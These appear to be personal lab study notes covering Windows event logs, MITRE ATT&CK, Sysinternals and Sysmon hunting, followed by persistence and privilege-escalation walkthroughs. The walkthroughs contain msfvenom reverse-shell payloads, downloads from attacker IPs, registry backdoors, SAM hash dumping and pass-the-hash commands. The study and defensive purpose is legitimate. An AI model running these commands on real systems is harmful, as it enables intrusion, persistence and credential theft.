        + Task Category – help organize events so Event Viewer can filter them

source defines this column

* + - * Split View
        + General – default, rendered data is displayed
        + Details – Friendly and XML views
    - Actions
      * open saved logs
        + useful for remote machines
      * Create Custom View
        + By Log
        + By Source
      * Filter Current Log
    - To View Events from another Computer
      * Event Viewer (Local) > Connect to Another Computer…
* wevtutil.exe
  + syntax. wevtutil <command>
  + ex. /lf:true – provides path to log file
  + ex. wevtutil qe Application /c:3 /rd:true /f:text
    - /rd – event read direction
    - /c – maximum number of events to read
* Get-WinEvent
  + gets events from event logs and event tracing log files on local and remote computers
  + syntax for filtering event logs
    - https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/Get-WinEvent?view=powershell-7.1#examples
    - Get-WinEvent -LogName Application | Where-Object { $\_.ProviderName -Match 'WLMS' }.
      * can use FilterHashtable instead of Where-Object
        + syntax - @{ <name> = <value>; [<name> = <value> ] …}

begin hash table with @

enclose hash table in braces ({})

enter one or more key/value pairs for content of hash table

use an equal sign to separate each key from its value

* + - * + build one key-value pair at a time
  + Measure output of commands with | Measure-Object pipe
* XPath Queries
  + Windows Event Log supports XPath 1.0
  + ex. XPath Query: \*[System[(Level <= 3) and TimeCreated[timediff(@SystemTime) <= 86400000]]]
    - selects all events from the channel or log file where the severity level is less than or equal to 3 and the event occurred in the last 24 hour period
    - every query starts with ‘\*’ or ‘Event’
  + Event Viewer
    - Details Tab > XML View
      * <Event xmlns>
        + <System>

<EventID Qualifiers>

<EventData>

MITRE

* ATT&CK® (Adversarial Tactics, Techniques, and Common Knowledge) Framework
* CAR (Cyber Analytics Repository) Knowledge Base
* SHIELD (sorry, not a fancy acronym) Active Defense
* AEP (ATT&CK Emulation Plans)
* APT – Advanced Persistent Threat
  + threat group or nation-state group
    - <https://www.fireeye.com/current-threats/apt-groups.html>
* TTP – Tactics, Techniques, and Procedures
  + Tactic – adversary goal or objective
  + Technique – how the goal is achieved
  + Procedure – how the technique is executed
* ATT&CK
  + globally-accessible knowledge base of adversary tactics and techniques based on real-world observations
    - address need to record common TTPs of APTs against Windows Enterprise networks
      * started with Fort Meade Experiment
      * security professionals tasked to emulate TTPs to collect data
  + <https://attack.mitre.org/>
  + Matrix For Enterprise
    - fourteen categories
      * seven stage Cyber Attack Lifecycle
        + Cyber Kill Chain

Initial Access

nine techniques

sub-techniques

dedicated pages

procedure examples

mitigations

* + MITRE ATT&CK Navigator
    - selection controls, layer controls, technique controls
* CAR Knowledge Base
  + - Cyber Analytics Repository
      * knowledgebase of analytics developed by MITRE based on ATT&CK adversary model
  + Provides description of analytics and references to ATT&CK
    - technique, sub-technique, tactics
    - pseudocode
    - EQL version of pseudo
  + Full Analytic List & CAR ATT&CK Navigator Layer
    - techniques highlighted in blue
* MITRE | SHIELD
  + Active defense knowledge base developed to capture and organize active defense and adversary engagement knowledge
    - trap and engage with an adversary active within the network
      * decoys
      * threat intelligence
    - Channel, Collect, Contain, Detect, Disrupt, Facilitate, Legitimize, Test
      * opportunities, use cases, procedures
      * ATT&CK Techniques
        + Detect
* ATT&CK Emulation Plans
  + MITRE ENGENUITY, CTID, Adversary Emulation Library, ATT&CK Emulation Plans
  + CITD
    - conduct research on cyber threats and TTPs
  + Adversary Emulation Library & ATT&CK Emulations Plans
    - public library for blue/red teamers
    - APT3, APT29, FIN6
      * step-bystep guide on how to mimic the specific threat group
* ATT&CK and Threat Intelligence
  + information concerning TTPs attributed to adversary
    - make better decisions regarding defensive strategy
    - Crowdstrike, other vendors, inside work
  + ATT&CK Matrix
* Conclusion
  + Resources are useful for Red and Blue Teaming = Purple Teaming

SysInternals

* Suite of 70 different Windows-based Tools
  + - File and Disk Utilities
    - Networking Utilities
    - Process Utilities
    - Security Utilities
    - System Information
    - Miscellaneous
  + Sysinternals Utilities Index
    - <https://docs.microsoft.com/en-us/sysinternals/downloads/>
      * https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
    - <https://live.sysinternals.com/>
  + Download and extract
    - add the folder path to environment variables to launch tools via CLI
      * Environment Variables can be edited from System Properties
        + CLI > sysdm.cpl

click on Advanced > Environment Variables > System Variables > Path (Edit)

New 🡪 <Folder Path>

* + - Powershell Module
      * Download-SysInternalsTools C:\Tools\Sysint
* Using Sysinternals Live
  + Need WebClient
  + Powershell
    - Install-WindowsFeature WebDAV-Redirector -Restart
      * verify after reboot of server
        + Get-WindowsFeature WebDAV-Redirector | Format-Table -Autosize
    - get-service webclient
    - start-service webclient
    - get-service webclient
  + Network and Sharing Center
    - Network Discovery
    - Powershell
      * C:\WINDOWS\system32> control.exe /name Microsoft.NetworkAndSharingCenter
        + click on Change Advanced Sharing Settings

Turn On Network Discovery

* + enter a tool’s Sysinternals Live path into Windows Explorer or a command prompt
    - live.sysinternals.com/<toolname>
    - [\\live.sysinternals.com\tools\<toolname](file:///\\live.sysinternals.com\tools\%3ctoolname)>.”
      * ex. [\\live.sysinternals.com\tools\procmon.exe](file:///\\live.sysinternals.com\tools\procmon.exe)
* File and Disk Utilities
  + Sigcheck
    - CLI utility that shows file version number, timestamp information, and digital signature details (including certificate chains)
    - Check file status on VirusTotal
    - Use Case:
      * check for unsigned files in C:\Windows\System32
    - Command
      * sigcheck -u -e C:\Windows\System32
        + -u – show files are unknown to VirusTotal or non-zero detection
        + -e – scan executable images only
  + Streams
    - view Alternate Data Streams for files
      * malware writers have used ADS to hide data in an endpoint
      * not all uses are malicious
    - ex. :ads.txt:$DATA 26
    - open with notepad file.txt:ads
  + SDelete
    - CLI utility that allows user to delete one or more files and/or directories, or to cleanse the free space on a logical disk
    - implements DOD 5220.22-M sanitization protocol
    - used by adversaries under MITRE T1485 (Data Destruction) and T1070.004 (Indicator Removal on Host: File Deletion)
      * MITRE ID S0195
* Networking Utilities
  + TCPView
    - shows detailed listings of all TCP and UDP endpoints
      * including local and remote address and state of TCP connections
    - more informative and conveniently presented subset of the Netstat program
    - include Tcpvcon
    - Similar to Resource Monitor
      * resmon in CLI
    - called from Performance Tab in Task Manager
    - tcpview -accepteula
      * Show Unconnected Endpoints
      * displays processes with an established outbound connection
* Process Utilities
  + Autoruns
    - provides insight into auto-starting locations of startup monitors, programs configured to run during bootup or login
      * reports Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services
      * helps detect malicious entries created to establish persistence
    - Image Hijacks Tab
  + ProcDump
    - monitoring application for CPU spikes and generation of crash crumps during a spike that admins can use to determine cause
    - Process Explorer can do the same
    - Right-click on a process > mini or full dump
  + Process Explorer
    - Shows handles of selected processes or display DLLs and memory-mapped files that the process has loaded
    - check IPs of active services
      * Talos Reputation Center
    - Verify Signatures
    - Run at Logon and Replace Task Manager are also options
    - Color Coding
      * Purple – packed files
      * Red – process is exiting
      * Green – freshly spawned process
      * Light Blue – processes run by same account that started Process Explorer
      * Dark Blue – process is selected
      * Pink – process is a service
      * Dark Grey – process is suspended until resumption
  + Process Monitor
    - * shows real-time file system, Registry and process/thread activity
      * rich and non-destructive filtering, session IDs, usernames
      * full thread stacks with integrated symbol support, simultaneous logging
    - set filters by PID
    - filters must be used and configured properly in order to use ProcMon efficiently
      * <https://adamtheautomator.com/procmon/>
  + PsExec
    - light-weight telnet replacement
    - execute processes on other systems without installing client software
      * launching interactive command-prompts to remote systems and remote-enabling tools such as IpConfig
    - Has been used as MITRE Techniques T1570 (Lateral Tool Transfer), T1021.002 (Remote Services: SMB/Windows Admin Shares), and T1569.002 (System Services: Services Execution)
    - MITRE ID – S0029
* Security Utilities
  + Sysmon
    - remains resident across system reboots to monitor and log system activity to Windows event log
      * detailed information about process creations, network connections, and changes to file creation time
      * generates Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand intrusion/malware operation
* System Information
  + WinObj
    - 32-bit Windows NT program that uses native Windows NT API to access and display info on the NT Object Managers name space
      * Session 0 and Session 1 (OS and User respectively)
        + two csrss.exe processes running, one for each
      * Session 0
        + DosDevices
      * Session 1
        + WindowStations
    - Compare information with Process Explorer
* Miscellaneous
  + BgInfo
    - displays relevant info about Windows computer on desktop background
      * name, IP addr, service pack version, etc.
      * handy when managing multiple machines
      * useful for RDPs
  + RegJump
    - takes a registry path and makes Regedit open to that path
      * prevents need to manually navigate Registry via Registry Editor
  + Strings
    - scans file for UNICODE or ASCII strings of a default length (3+)
      * strings <file> | findstr /i <string>\*
* Conclusion
  + - ProcExp
    - ProcMon
    - ProcDump
  + <https://www.youtube.com/watch?v=A_TPZxuTzBU>
  + <https://www.youtube.com/watch?v=vW8eAqZyWeo>

Persistence

* Introduction
  + post-exploitation activity to maintain access to systems throughout whole assessment and avoid re-exploitation regardless of system restart
  + Two Types
    - Low Privileged Persistence
      * no admin rights
    - Privileged User Persistence
      * nt authority/system on Windows
  + Keeping Persistence
    - Startup Folder Persistence
    - Editing Registry Keys
    - Using Scheduled Tasks
    - Using BITS
    - Creating a Backdoor Service
    - Creating Another User
    - Backdooring RDP
* Low Privileged User Persistence
  + Create a Metasploit backdoor using msfvenom
    - msfvenom -p windows/meterpreter/reverse\_tcp <LHOST> <LPORT> -f exe > backdoor.exe
  + Create a Listener
    - msfconsole -q
    - use exploit/multi/handler
    - set payload windows/meterpreter/reverse\_tcp
    - set LHOST <attacker IP>
    - set LPORT <same port as exploit>
    - exploit
  + Deliver exploit via SimpleHTTPServer
    - Internet Explorer
      * Internet Options
        + Security Tab

Trusted Sites

Sites

Add this website to the zone

IP address (http://<ip>

Add

* + - * http://<ip>:<port>
        + download exploit
        + Run

creates meterpreter shell

* + Deliver via Powershell
    - Invoke-WebRequest http://<ip>/<exploit filename.exe>
      * -Outfile .\backdoor.exe
    - execute backdoor .\backdoor.exe
  + Deliver via Certutil
    - used from either CLI or Powershell
      * certutil -urlcache -split -f http://<ip>/<filename>
    - execute .\backdoor.exe
  + Startup Folder Persistence
    - move backdoor file to startup folder
      * cd ‘C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’ in meterpreter
      * upload backdoor.exe
  + Editing Registries
    - Some Registries might be editable by low privilege users
      * ex. HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run
      * first move backdoor.exe to AppData\Roaming folder
        + move or reupload
      * run “shell” command in meterpreter
        + then run

reg add “HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v Backdoor /t REG-SZ /d “C:\Users\tryhackme\AppData\Roaming\backdoor.exe”

* + BITS Jobs
    - Background Intelligent Transfer Service
      * used for file transfer between machines (downloads/uploads) using idle network bandwidth
    - Jobs are container that contain files that need to be transferred
      * empty when created and needs to be populated
        + specify one or more files to be transferred
        + also need to add source and destination
      * BITS help menu 🡪 bitsadmin in CLI/shell
    - Create Job
      * bitsadmin /create backdoor
    - Add File for the Job that will be transferred
      * bitsadmin /addfile backdoor “http://<attacker ip>/backdoor.exe” “C:\Users\tryhackme\Documents\backdoor.exe”
    - To execute BITS backdoor
      * bitsadmin /SetNotifyCmdLine 1 cmd.exe “/c bitsadmin.exe /complete backdoor | start /B C:\Users\tryhackme\Documents\backdoor.exe”
    - For added persistence, add a retry delay
      * bitsadmin /SetMinRetryDelay backdoor 30
    - start/resume job
      * need to have a webserver running so BITS can download the backdoor and Metasploit listening for connections
        + bitsadmin /resume
* High Privilege User Persistence
  + Creating another Administrator User
    - shell
      * net user /add <username> <password> 🡪 create new user
      * net localgroup Administrators <name> /add 🡪 add user to local admin group
      * net localgroup Administrators 🡪 check successful add
  + Editing Registries
    - backdoor Winlogon so whenever a user logs in the backdoor will get executed
      * HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
    - reg add “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon” /v Userinit /d “Userinit.exe, C:\Users\Administrator\Desktop\backdoor.exe” /f
  + Persistence by Creating a Service
    - Leveraging Powershell to execute backdoor
      * load Powershell into meterpreter using “load powershell”
        + drop into a Powershell shell “powershell\_shell”
    - Create Service
      * New-Service -Name “<Service Name>” -BinaryPathName “<Path-to-Binary>” -Description “<SERVICE\_DESCRIPTION>” -StartupType “Boot”
      * will say stopped but will start automatically
  + Scheduled Tasks
    - used to schedule the launch of specific programs or scripts at a pre-defined time or condition
    - Powershell can be used to create a scheduled task and assure persistence
      * need to define multiple cmdlets
        + New-ScheduledTaskAction – define the action
        + New-ScheduledTaskTrigger – define trigger
        + New-ScheduledTaskPrincipal – user the task will run as
        + New-ScheduledTaskSettingsSet – set above settings
        + Register-ScheduledTask – creates task
      * Set each using variables $A-$E
        + $E = $A-$D
  + Backdooring RDP
    - backdoor on-screen keyboard
      * Metasploit sticky\_keys
    - Sign out/Lock account
      * press Windows Key + U and choose OSK
    - Edit Registry
      * REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG\_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  + Hash Dumping
    - Metasploit hashdump/kiwi module
      * meterpreter > run post/windows/gather/hashdump
    - Save SAM and SYSTEM registries
      * + reg save HKLM\SAM C:\Users\Administrator\Desktop\SAM

change SAM to SYSTEM (both sides)

* + - * downloading files and using samdump2
        + meterpreter > cd ‘C:\Users\Administrator\Desktop’
        + meterpreter > download SAM
        + meterpreter > download SYSTEM
      * samdump2 SYSTEM SAM (on attacker computer)
    - meterpreter > load kiwi
    - meterpreter > lsa\_dump\_sam
    - meterpreter > getsystem
    - meterpreter > lsa\_dump\_sam

Windows Sysmon

* Introduction
  + Sysmon is used to monitor and log events on Windows
    - part of Sysinternals
* Sysmon Overview
  + remains resident across system reboots to monitor and log system activity to event log
    - process creations, network connections, changes to file creation
    - using Windows Event Collection or SIEM, can analyze and ID malicious/anomalous activity
    - detailed, high-quality logs and event tracing to aid in ID-ing anomalies in environment
      * used in conjunction with SIEM or log parser to visualize/filter events
    - binary executed on endpoints and forwarded to SIEM
    - Events stored in Applications and Services Logs/Microsoft/Windows/Sysmon/Operational
  + Sysmon Config Overview
    - requires config file to tell binary how to analyze events being received
      * can be downloaded pre-set or custom created
      * <https://github.com/SwiftOnSecurity/sysmon-config>
    - includes 24 different types of Event IDs
      * specify how events should be handled and analyzed
      * majority of rules concern excluding events rather than including events
        + more noise than anomalies in an environment
        + proactive config set <https://github.com/ion-storm/sysmon-config/blob/develop/sysmonconfig-export.xml>
  + Event ID 1: Process Creation
    - look for any processes that have been created
    - look for known suspicious processes or ones with typos
      * will use command line and Image XML tags
  + Event ID 3: Network Connection
    - look for events that occur remotely
      * include files and sources of suspicious binaries as well as opened ports
        + uses Image and DestinationPort XML tags
  + Event ID 7: Image Loaded
    - look for DLLs loaded by processes
      * useful for hunting DLL injection or hijacking
    - exercise caution when using this Event ID as it causes a high system load
      * uses Image, Signed, ImageLoaded, and Signature XML tags
  + Event ID 8: CreateRemoteThread
    - look for processes injecting code into other processes
      * can be either legit or malicious
    - uses SourceImage, TargetImage, StartAddress, and StartFunction XML tags
  + Event ID 11: File Created
    - will analyze events for file names or signatures that have been created on the endpoint
    - easy way to cut down alerts and quickly identify simple attacks by ID-ing names and signatures of files on disk
      * uses TargetFilename XML tags
  + Event ID 12/13/14: Registry Event
    - will analyze any changes or modifications to the registry
      * persistence and credential abuse
        + uses TargetObject XML tags
  + Event ID 15: FileCreateStreamHash
    - look for any files created in an alternate data stream
    - common use by adversaries to hide malware
      * uses TargetFilename XML tags
  + Event ID 22: DNS Event
    - logs all DNS queries and events for analysis
    - exclude all trusted domains that are known to be common noise
      * look for DNS anomalies
        + uses QueryName XML tags
* Installing and Preparing Sysmon
  + download binary from Microsoft website
    - powershell – Download-SysInternalsTools C:\Sysinternals
  + download config file
    - SwiftOnSecurity Sysmon-config
    - ION-Storm config file
  + Starting Sysmon
    - Sysmon.exe -accepteula -i sysmonconfig-export.xml
* Cutting Out The Noise
  + Malicious Activity Overview
    - quickly ID and investigate suspicious activity
    - use multiple detections and techniques simultaneously
      * ransomware, persistence, mimikatz, Metasploit, C2 beacons
  + Sysmon “Best Practices”
    - Exclude > Include
      * best to prioritize excluding events rather than including events
        + prevents missing crucial events and only seeing events that matter the most
    - CLI gives further control
      * use Get-WinEvent or wevutil.exe to access and filter logs
    - Know your environment before implementation
      * understand what is normal and what is suspicious to effectively craft rules
  + Filtering Events with Event Viewer
    - EventID and keywords
  + Filtering Events with Powershell
    - Get-WinEvent and XPath queries
      * Filter by Event ID - \*/System/EventID=<ID>
      * Filter by XML Attribute/Name - \*/EventData/Data[@Name=”<XML Attribute/Name>”]
      * Filter by Event Data - \*/EventData/Data=<Data>
    - ex. Get-WinEvent -Path <Path to Log> -FilterXPath '\*/System/EventID=3 and \*/EventData/Data[@Name="DestinationPort"] and \*/EventData/Data=444'
      * look for network connections coming from port 444
* Hunting Metasploit
  + look for network connections that originate from ports such as 444 or 5555
    - Metasploit uses 4444 by default
      * any unknown IP, and even known ones, should be investigated
    - look at packet captures from date of the log to begin looking for further information about the adversary
      * RATs and C2 beacons
      * <https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo> - Malware common ports spreadsheet to see how malware and payloads interact with a network
  + Hunting Network Connections
    - check for shells
      * ProcessID and Image
  + Hunting for Open Ports with Powershell
    - use Powershell Get-WinEvent with XPath queries
      * filter out events from NetworkConnect with DestinationPort
        + ex. Get-WinEvent -Path <Path to Log> -FilterXPath '\*/System/EventID=3 and \*/EventData/Data[@Name="DestinationPort"] and \*/EventData/Data=444'

filtering Event ID 3 and by data name with specific port to filter

* Detecting Mimikatz
  + hunt for file created, execution of file from an elevated process, creation of a remote thread, and various processes created by mimikatz
    - AV typically detects mimikatz but can be obfuscated or droppers used to get file into device
      * MITRE ATT&CK T1055 and S0002
  + Detecting File Creation
    - looking for files created with name Mimikatz
    - search for LSASS behavior
  + Hunting Abnormal LSASS Behavior
    - ProcessAccess event ID, combined with LSASS, will show potential LSASS abuse
      * if LSASS is accessed by a process other than svchost.exe – consider suspicious
        + use filter looking for processes besides svchost.exe
        + file path process originated from
    - alter config to exclude events with SourceImage event coming from svhost.exe
* Detecting LSASS Behavior with Powershell
  + Get-WinEvent with XPath queries
    - filter out other processes from TargetImage
      * ex. Get-WinEvent -Path <Path to Log> -FilterXPath '\*/System/EventID=10 and \*/EventData/Data[@Name="TargetImage"] and \*/EventData/Data="C:\Windows\system32\lsass.exe"'
* Hunting Malware
  + RATs and backdoors
    - RATs come with AV evasion
      * uses client-server model and interface
        + Xeexe and Quasar
    - use hypothesis-based hunting
  + Hunting RATs and C2 Servers
    - look through and create config file to hunt and detect suspicious ports open on endpoint
    - known suspicious ports
      * 1034 and 1604
      * exclude common network connections like OneDrive
        + be wary of configs that exclude port 53

as it has been used by adversaries

* + - * other ports such as 8080 are possible
  + Hunting for Common Back Connect Ports with Powershell
    - Get-WinEvent with XPath
      * filter NetworkConnect event ID and DestinationPort data attribute
        + ex. Get-WinEvent -Path <Path to Log> -FilterXPath '\*/System/EventID=3 and \*/EventData/Data[@Name="DestinationPort"] and \*/EventData/Data=<Port>'
* Hunting Persistence
  + - registry modification and startup scripts
    - look for File Creation Events, Registry Modification Events
  + Hunting Startup Persistence
    - detections for a file being placed in \Startup\ or \Start Menu directories
      * MITRE ATT&CK T1547
    - any changes to Start Menu should be investigated
      * File Created tag
      * Rule Name T1023
  + Hunting Registry Key Persistence
    - CurrentVersion\Windows\Run
      * MITRE ATT&CK T1112
    - check HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Persistence
      * or %windir%\System32\<exe file>
    - filter by Rule Name T1060
* Detecting Evasion Techniques
  + - ADS, Injections, Masquerading, Packing/Compression, Recompiling, Obfuscation, Anti-Reversing, etc.
  + ADS
    - file hidden from normal inspection by saving file in a different stream apart from $DATA
      * Sysmon comes with Event ID to detect this
  + Injection
    - Thread Hijacking, PE Injection, DLL Injection, etc.
    - Taking an already used DLL that is used by an application and overwriting or including malicious code
      * MITRE ATT&CK T1564 and T1055
  + Hunting Alternate Data Streams
    - Event ID 15
      * hash and log any NTFS Streams included with config file
      * hunt for malware that evades detections using ADS
        + hunt for files in the Temp and Startup folder

as well as .hta and .bat extensions

* + Detecting Remote Threads
    - Created using Windows API CreateRemoteThread
      * accessed using OpenThread and ResumeThread
        + used in DLL Injection, Thread Hijacking, and Process Hollowing

EVENT ID 8

* + Detecting Evasion Techniques with Powershell
    - Get-WinEvent and XPath filter
      * search for files using alternate data stream or creating remote threads
        + filter by Event ID
        + Detecting Alternate Data Streams

syntax. Get-WinEvent -Path <Path to Log> -FilterXPath '\*/System/EventID=15'

* + - * + Detecting Remote Thread Creation

syntax. Get-WinEvent -Path <Path to Log> -FilterXPath '\*/System/EventID=8'

Windows PrivEsc

* Introduction
  + Generate a Reverse Shell Executable
    - msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=<attacker ip> LPORT=<port of choice> -f exe -o reverse.exe
  + Create SMB Server to move file from Linux to Windows
    - On Linux, same directory as payload
      * sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
    - On Victim Machine
      * copy \\<ip>\kali\reverse.exe C:\<file path>\reverse.exe
    - On Attacker Machine
      * sudo nc -nvlp <port>
    - On Victim Machine
      * C:\<path>\reverse.exe
* Service Exploits – Insecure Service Permissions
  + Using accesschk.exe to check user account permissions on daclsvc service
    - C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
      * permission to change service config (SERVICE\_CHANGE\_CONFIG)
    - Query service and note runs with SYSTEM privileges (SERVICE\_START\_NAME)
      * done via sc qc daclsvc 🡪 LocalSystem
    - Modify service config and set the BINARY\_PATH\_NAME (binpath) to reverse.exe
      * sc config daclsvc binpath= “\”C:\PrivEsc\reverse.exe\””
      * start nc -nvlp <port> listener on attacker machine
      * run “net start daclsvc” on victim machine to create a reverse shell running with SYSTEM privileges
* Service Exploits – Unquoted Service Path
  + sc qc unquotedsvc
  + use accesschk.exe – not that BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory
    - C:\PrivEsc\accesschk.exe “C:\Program Files\Unquoted Path Service\Common.exe”
  + Copy reverse.exe and rename it to Common.exe in the above PATH
    - copy C:\PrivEsc\reverse.exe “C:\Program Files\Unquoted Path Service\Common.exe”
  + Start listener on attacker machine, run shell in victim machine
    - net start unquotedsvc
* Service Exploits – Weak Registry Permissions
  + query regsvc – note it runs with SYSTEM privileges
    - using accesschk.exe, note registry entry for regsvc in writable by “NT AUTHORITY\INTERACTIVE” group (logged on users)
      * C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
    - Overwrite ImagePath registry key to point to reverse.exe
      * reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG\_EXPAND\_SZ /d C:\PrivEsc\reverse.exe /f
      * start listener on attacking machine
      * run net start regsvc on victim machine
* Service Exploits – Insecure Service Executables
  + query filepermsvc service – note it runs with SYSTEM privileges
    - sc qc filepermsvc
    - us accesschk.exe to note service binary is writable by everyone
      * C:\PrivEsc\accesschk.exe /accepteula -quvw “C:\Program Files\File Permissions Service\filepermservice.exe”
    - copy reverse executable and replace filepermservice.exe
      * copy C:\PrivEsc\reverse.exe “C:\Program Files\File Permissions Service\filepermservice.exe” /Y
    - start listener on attacker machine
      * run net start filepermsvc on victim machine
* Registry – Autoruns
  + Query registry for AutoRun executables
    - accesschk.exe
      * C:\PrivEsc\accesschk.exe /accepteula -wvu “C:\Program Files\Autorun Program\program.exe”
    - copy reverse shell and overwrite executable in AutoRun
      * copy C:\PrivEsc\reverse.exe “C:\Program Files\Autorun Program\program.exe” /Y
    - start listener on kali
      * trigger new RDP session to get shell with admin privs
        + occurs after admin signs into victim computer
        + rdesktop <ip>
* Registry – AlwaysInstallElevated
  + reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  + reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    - keys set to 1 (0x1)
  + generate reverse shell Windows installer (reverse.msi) using msfvenom
    - msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=< > LPORT=< > -f msi -o reverse.msi
  + transfer file via SMB server method
  + start listener on Kali
  + run installer to trigger reverse shell running with SYSTEM privs
    - msiexec /quiet /qn /I C:\PrivEsc\reverse.msi
* Registry – Passwords
  + search registry for keys and values that contain “password”
    - reg query HKLM /f password /t REG\_SZ /s
    - reg query “HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon” – admin AutoLogon credentials
  + on attacker machine
    - use winexe command to spawn a command prompt running admin privs (using password found)
      * winexe -U ‘admin%password’ //<victim ip> cmd.exe
* Passwords – Saved Creds
  + cmdkey /list
    - admin credentials?
  + start listener on Kali
    - run reverse shell using runas with admin credentials
      * runas /savecred /user:admin C:\PrivEsc\reverse.exe
* Passwords – Security Account Manager (SAM)
  + insecurely stored backups of SAM and SYSTEM files in C:\Windows\Repair\
    - transfer files to attacker machine
      * copy C:\Windows\Repair\SAM \\<attacker ip\kali\
      * copy C:\Windows\Repair\SYSTEM \\<attacker ip>\kali\
    - clone creddump7 repo
      * git clone <https://github.com/Neohapsis/creddump7.git>
      * sudo apt install python-crypto
      * python2 creddump7/pwdump.py SYSTEM SAM
    - crack admin NTLM hash via hashcat
      * hashcat -m 1000 - -force <hash> /usr/share/wordlists/rockyou.txt
* Password – Passing the Hash
  + use full admin hash with pth-winexe to spawn a shell running as admin without needing to crack password
    - need full hash (LM + NTLM, separated by colon)
      * pth-winexe -U ‘admin%hash’ //<victim ip> cmd.exe
* Scheduled Tasks
  + C:\DevTools\CleanUp.ps1
    - script running as SYSTEM at a given cycle
      * use accesschk.exe
        + C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\Cleanup.ps1
      * start listener on attacker machine
        + append line to C:\DevTools\CleanUp.ps1

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

* + - * scheduled task will run and trigger SYSTEM level reverse shell
* Insecure GUI Apps
  + tasklist /V | findstr <program>
    - ex. tasklist /V | findstr mspaint.exe
      * see it runs with admin privileges
        + File > Open > File Dialogue Box > <file://c:/windows/system32/cmd.exe>

command prompt opens with admin privs

* Startup Apps
  + accesschk.exe – note that BUILTIN/Users group can write files to start up directory
    - c:\PrivEsc\accesschk.exe /accepteula -d “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp”
  + using cscript, run C:\PrivEsc\CreateShortcut.vbs script
    - creates new shortcute to reverse.exe
      * cscript C:\PrivEsc\CreateShortcut.vbs
  + start listener on attacker machine
    - simulate admin logon using RDP and credentials
      * rdesktop -u admin <victim ip>
* Token Impersonation – Rogue Potato
  + set up socat redirector on Kali
    - forwarding Kali port 135 to port 9999 on Windows
      * sudo socat tcp-listen:135,reuseaddr,fork tcp:<victim ip>:9999
  + start listener on Kali
    - simulate getting service account shell by logging into RDP as admin user
      * run command prompt as admin
        + us PSExec64.exe to trigger reverse shell

C:\PrivEsc\PSExec64.exe -I -u “nt authority\local service” C:\PrivEsc\reverse.exe

* + Start another listener
    - run RoguePotato exploit to trigger reverse shell running SYSTEM
      * C:\PrivEsc\RoguePotato.exe -r <attacker ip> -e “C:\PrivEsc\reverse.exe” -l 9999
        + SeImpersonatePrivilege
        + SeAssignPrimaryTokenPrivilege
* Token Impersonation – PrintSpoofer
  + start a listener
    - log into RDP as admin user
      * admin command prompt
        + PSExec64.exe to trigger reverse shell

C:\PrivEsc\PSExec64.exe -i -u “nt authority\local service” C:\PrivEsc\reverse.exe

* + start another listener
    - in local service shell ^^
      * run PrintSpooker exploit to trigger second exploit shell with SYSTEM privs
        + C:\PrivEsc\PrintSpoofer.exe -c “C:\PrivEsc\reverse.exe” -i
* Privilege Escalation Scripts
  + winPEASany.exe
  + Seatbelt.exe
  + PowerUp.ps1
  + SharpUp.exe

Windows Privilege Escalation Arena – Cyber Mentor

* Registry Escalation – Autorun
  + Detection
    - Victim
      * C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
        + logon
        + My Program entry 🡪 C:\Program Files\Autorun Program\program.exe
      * C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu “C:\Program Files\Autorun Program
        + notice “Everyone” user group has “FILE\_ALL\_ACCESS” permission
  + Exploitation
    - Attacker
      * + msfconsole
        + use multi/handler
        + set payload windows/meterpreter/reverse\_tcp
        + set lhost <attacker ip>
        + run
      * In additional terminal
        + msfvenom -p windows/meterpreter/reverse\_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
        + copy generated file to victim
    - Victim
      * place copied program into C:\Program Files\Autorun Program
      * logoff and back on
    - Attacker
      * session opens in Metasploit
      * sessions -i [session ID]
      * getuid
* Registry Escalation – AlwaysInstallElevated
  + Detection
    - Windows VM
      * 1.Open command prompt and type: reg query HKLM\Software\Policies\Microsoft\Windows\Installer
      * 2.From the output, notice that “AlwaysInstallElevated” value is 1.
      * 3.In command prompt type: reg query HKCU\Software\Policies\Microsoft\Windows\Installer
      * 4.From the output, notice that “AlwaysInstallElevated” value is 1
  + Exploitation
    - Kali VM
      * 1. Open command prompt and type: msfconsole
      * 2. In Metasploit (msf > prompt) type: use multi/handler
      * 3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse\_tcp
      * 4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
      * 5. In Metasploit (msf > prompt) type: run
      * 6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse\_tcp lhost=[Kali VM IP Address] -f msi -o setup.msi
      * 7. Copy the generated file, setup.msi, to the Windows VM.
    - Windows VM
      * 1.Place ‘setup.msi’ in ‘C:\Temp’.
      * 2.Open command prompt and type: msiexec /quiet /qn /i C:\Temp\setup.msi
* Service Escalation – Registry
